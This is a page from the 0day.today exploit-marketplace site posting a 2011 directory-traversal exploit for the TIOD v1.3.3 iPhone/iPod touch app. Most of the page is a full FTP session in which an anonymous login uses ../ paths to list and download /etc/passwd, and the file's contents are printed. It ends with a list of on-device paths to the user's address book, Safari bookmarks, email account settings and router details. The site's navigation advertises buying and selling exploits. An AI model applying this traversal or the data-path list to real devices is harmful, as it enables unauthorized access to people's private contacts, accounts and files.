0day.today - Biggest Exploit Database in the World.
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn
GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Contact us
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
TIOD v1.3.3 for iPhone / iPod touch Directory Traversal
[# Exploit Title: TIOD v1.3.3 for iPhone / iPod touch, Directory Traversal
# Date: 03/03/2011
# Author: R3d@l3rt, H@ckk3y
# E-Mail : R3dal3rt.team [at] gmail [dot] com
# Twitter : http://twitter.com/R3dAl3rtTeam
# Software Link: http://itunes.apple.com/kr/app/idocmanager/id404412400?mt=8
# Version: 1.3.3
# Tested on: iPhone, iPod 3GS with 4.2.1 firmware
# There is directory traversal vulnerability in the TIOD.
# Exploit Testing
C:\>ftp
ftp> open 192.168.0.70
Connected to 192.168.0.70.
220 Service ready for new user.
User (192.168.0.70:(none)): anonymous
331 Send e-mail address as password.
Password:
230 User logged in, proceed.
ftp> dir
200 Command okay.
150 About to send file list.
total 0
drwxr-xr-x 2 501 501 68 Feb 14 12:39 CAMERAROLL
226 Transfer complete.
ftp: 76 bytes received in 0.01Seconds 5.07Kbytes/sec.
ftp> dir ../../../../../../etc/passwd
200 Command okay.
150 About to send file list.
total 0
-rw-r--r-- 1 0 0 785 Jan 11 20:14 ../../../../../../etc/pas
swd
226 Transfer complete.
ftp: 94 bytes received in 0.00Seconds 94000.00Kbytes/sec.
ftp> get ../../../../../../etc/passwd
200 Command okay.
150 About to open data connection.
C:\>type passwd
#
# 4.3BSD-compatable User Database
#
# Note that this file is not consulted for login.
# It only exisits for compatability with 4.3BSD utilities.
#
# This file is automatically re-written by various system utilities.
# Do not edit this file. Changes will be lost.
#
nobody:*:-2:-2:Unprivileged User:/var/empty:/usr/bin/false
root:*:0:0:System Administrator:/var/root:/bin/sh
mobile:*:501:501:Mobile User:/var/mobile:/bin/sh
daemon:*:1:1:System Services:/var/root:/usr/bin/false
_wireless:*:25:25:Wireless Services:/var/wireless:/usr/bin/false
_securityd:*:64:64:securityd:/var/empty:/usr/bin/false
_mdnsresponder:*:65:65:mDNSResponder:/var/empty:/usr/bin/false
_sshd:*:75:75:sshd Privilege separation:/var/empty:/usr/bin/false
_unknown:*:99:99:Unknown User:/var/empty:/usr/bin/false
C:\>
# IPhone inside information
1. Phone Book
- /private/var/mobile/Library/AddressBook/AddressBook.sqlitedb
2. Safari Favorites List
- /private/var/mobile/Library/Safari
3. Users E-mail Information
- /private/var/mobile/Library/Preferences/com.apple.accountsettings.plist
4. IPv4 Router Information
- /private/var/mobile/Library/Preferences/com.apple.conference.plist
# 0day.today [2024-07-05] #